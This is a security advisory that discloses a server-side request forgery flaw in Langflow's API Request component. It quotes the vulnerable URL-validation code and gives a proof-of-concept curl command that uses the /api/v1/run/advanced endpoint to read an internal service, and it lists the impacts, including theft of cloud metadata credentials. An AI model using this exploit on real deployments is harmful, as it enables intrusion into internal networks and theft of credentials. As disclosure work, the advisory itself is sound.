GHSA-5993-7p27-66g5

Описание

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

   @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True) async def simplified_run_flow( *, background_tasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)], input_request: SimplifiedAPIRequest | None = None, stream: bool = False, api_key_user: Annotated[UserRead, Depends(api_key_security)], context: dict | None = None, http_request: Request, ):

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

   @router.post( "/run/advanced/{flow_id_or_name}", response_model=RunResponse, response_model_exclude_none=True, ) async def experimental_run_flow( *, session: DbSession, flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, session_id: Annotated[None | str, Body(embed=True)] = None, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> RunResponse:

2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

   def _normalize_url(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg) url = url.strip() if url.startswith(("http://", "https://")): return url return f"https://{url}"

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

   url = self._normalize_url(url) # Validate URL if not validators.url(url): msg = f"Invalid URL provided: {url}" raise ValueError(msg)

3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

   try: # Prepare request parameters request_params = { "method": method, "url": url, "headers": headers, "json": processed_body, "timeout": timeout, "follow_redirects": follow_redirects, } response = await client.request(**request_params)

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

   # Base metadata metadata = { "source": url, "status_code": response.status_code, "response_headers": response_headers, }

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

   # Handle response content if is_binary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8") metadata["result"] = result if include_httpx_metadata: metadata.update({"headers": headers}) return Data(data=metadata)

PoC

PoC Description

• I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
• I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

• Langflow Setting

  

• Exploit

  curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"input_value":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result'
  

Impact

• Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
• Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
• Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
• Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
• Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.